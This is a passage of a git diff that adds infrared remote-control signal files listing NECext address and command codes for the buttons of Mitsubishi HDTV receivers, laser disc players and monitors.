00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0C 00 00 00 +# +name: T/C +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 10 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 14 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 17 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 18 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1B 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1C 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 24 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 28 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 2C 00 00 00 +# +name: REV_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 30 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 34 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 35 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 36 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 38 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 3D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 3E 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 40 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 49 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 50 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 52 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 60 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 63 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 64 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 65 00 00 00 +# +name: SUBTITLE_ON_OFF +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 67 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 6D 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir new file mode 100644 index 000000000..19bc15af5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 01 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 04 00 00 00 +# +name: 1_/_MOVIES +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: 2_/_SPORTS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: 3_/_NEWS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0D 00 00 00 +# +name: ACTION +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0E 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: FAV_/_LIST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: GUIDE_/_MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 13 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 15 00 00 00 +# +name: PREV_CH_/_SERVICES +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: -_/_ALPHA +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 +# +name: HD_MODE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 37 00 00 00 +# +name: SD_MODE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir new file mode 100644 index 000000000..80481553c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir new file mode 100644 index 000000000..8dc980e95 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir @@ -0,0 +1,590 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 09 00 00 00 +# +name: DIGITAL/ANALOG +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0C 00 00 00 +# +name: DIGITAL/ANALOG/CX +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0C 00 00 00 +# +name: DIGITAL +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0C 00 00 00 +# +name: FILE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0D 00 00 00 +# +name: CX +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0E 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: FFWD>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: REV_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: REW<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: CHAPTER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: STOP/OPEN_[] +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: STOP/OPEN +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: PLAY> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 19 00 00 00 +# +name: LAST_MEMORY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 19 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1C 00 00 00 +# +name: AUTO_EDIT +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1D 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: AUDIO_D/A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1F 00 00 00 +# +name: JOG_FWD +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 20 00 00 00 +# +name: JOG_FWD_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 20 00 00 00 +# +name: JOG_REV +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 24 00 00 00 +# +name: JOG_REV_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 24 00 00 00 +# +name: SCAN_X2_FWD +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 28 00 00 00 +# +name: SCAN_FWD +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 28 00 00 00 +# +name: SCAN_FWD(CLEAR_SCAN) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 28 00 00 00 +# +name: SCAN_FWD(SLOW_SP) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 28 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 29 00 00 00 +# +name: SCAN_FWD(LOW_SCAN) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 29 00 00 00 +# +name: SCAN_FWD(MED-SLOW) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 29 00 00 00 +# +name: SCAN_FWD(MED-HIGH) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2B 00 00 00 +# +name: SCAN_FWD(HIGH_SCAN) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2B 00 00 00 +# +name: SHUTTLE_FWD(F.S) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2B 00 00 00 +# +name: SHUTTLE_FWD_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2B 00 00 00 +# +name: SCAN_FWD(FULL_SP) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2B 00 00 00 +# +name: SCAN_X2_REV +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2C 00 00 00 +# +name: SCAN_REV(CLEAR_SCAN) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2C 00 00 00 +# +name: SCAN_REV(SLOW_SP) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2D 00 00 00 +# +name: SCAN_REV(LOW_SCAN) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2D 00 00 00 +# +name: SCAN_REV(MED-SLOW) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2D 00 00 00 +# +name: SCAN_REV(MED-HIGH) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2E 00 00 00 +# +name: SCAN_REV(HIGH_SCAN) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2F 00 00 00 +# +name: SHUTTLE_REV(F.S) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2F 00 00 00 +# +name: SHUTTLE_REW_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2F 00 00 00 +# +name: SCAN_REV(FULL_SP) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2F 00 00 00 +# +name: DIGITAL_LEVEL +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 37 00 00 00 +# +name: AUDIO_COMPRESS +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 37 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 42 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 43 00 00 00 +# +name: REPEAT_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 44 00 00 00 +# +name: REPEAT_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 44 00 00 00 +# +name: C_(CANCEL) +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 46 00 00 00 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 47 00 00 00 +# +name: REPEAT_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 48 00 00 00 +# +name: REPEAT_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 48 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4C 00 00 00 +# +name: SIDE_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4D 00 00 00 +# +name: DISC_SIDE_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4D 00 00 00 +# +name: SIDE_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4E 00 00 00 +# +name: DISC_SIDE_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4E 00 00 00 +# +name: FRAME_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: STEP_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: FS_(FWD_SRCH)_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: FS_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: SRCH_FWD_(FS)>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: RS_(REV_SRCH)_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: RS_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: SRCH_REV_(RS)<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: FRAME_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: STEP_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: SEARCH_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: SEARCH_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 +# +name: HILITE/INTRO_SCAN +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5A 00 00 00 +# +name: STROBE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5B 00 00 00 +# +name: STILL/W_SOUND +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5B 00 00 00 +# +name: ONE_SHOT_MEMORY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir new file mode 100644 index 000000000..51c22a923 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir new file mode 100644 index 000000000..2ef8e4019 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: PREVIEW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: QV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir new file mode 100644 index 000000000..74073dae9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: SKIP_SEARCH +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 03 00 00 00 +# +name: AUDIO_TV/VCR +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 05 00 00 00 +# +name: AUDIO_VCR/TV +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 05 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir new file mode 100644 index 000000000..7b4c8422a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: SET/STELLEN +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 00 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 00 00 00 00 +# +name: BRT. +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 01 00 00 00 +# +name: CONT. +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 02 00 00 00 +# +name: VOL. +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 04 00 00 00 +# +name: BAL. +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 05 00 00 00 +# +name: DEGAU./ENTMAGN +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 07 00 00 00 +# +name: DEGAU. +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 07 00 00 00 +# +name: DISP.OFF(AUS) +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 08 00 00 00 +# +name: TTL +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 0C 00 00 00 +# +name: ANALOG_2 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 0E 00 00 00 +# +name: RGB_2 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 10 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 11 00 00 00 +# +name: UP_(+) +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 13 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 13 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 16 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 17 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 18 00 00 00 +# +name: ANALOG_1 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 1E 00 00 00 +# +name: RGB_1 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 1E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 44 00 00 00 +# +name: CAL/CLR +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 45 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 46 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 47 00 00 00 +# +name: DOWN_(-) +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 4C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 4C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 50 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 52 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 53 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 54 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 55 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 82 64 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir new file mode 100644 index 000000000..0888e7dad --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir new file mode 100644 index 000000000..537dc5fde --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: ^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: ^_(CHANNEL) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: V_(CHANNEL) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: CHV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: VOLV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: ANT_A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: QUICK_VIEW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir new file mode 100644 index 000000000..6fd89d340 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir @@ -0,0 +1,1268 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_1_(SUN) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: 1_(SUN) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: POWER +type: 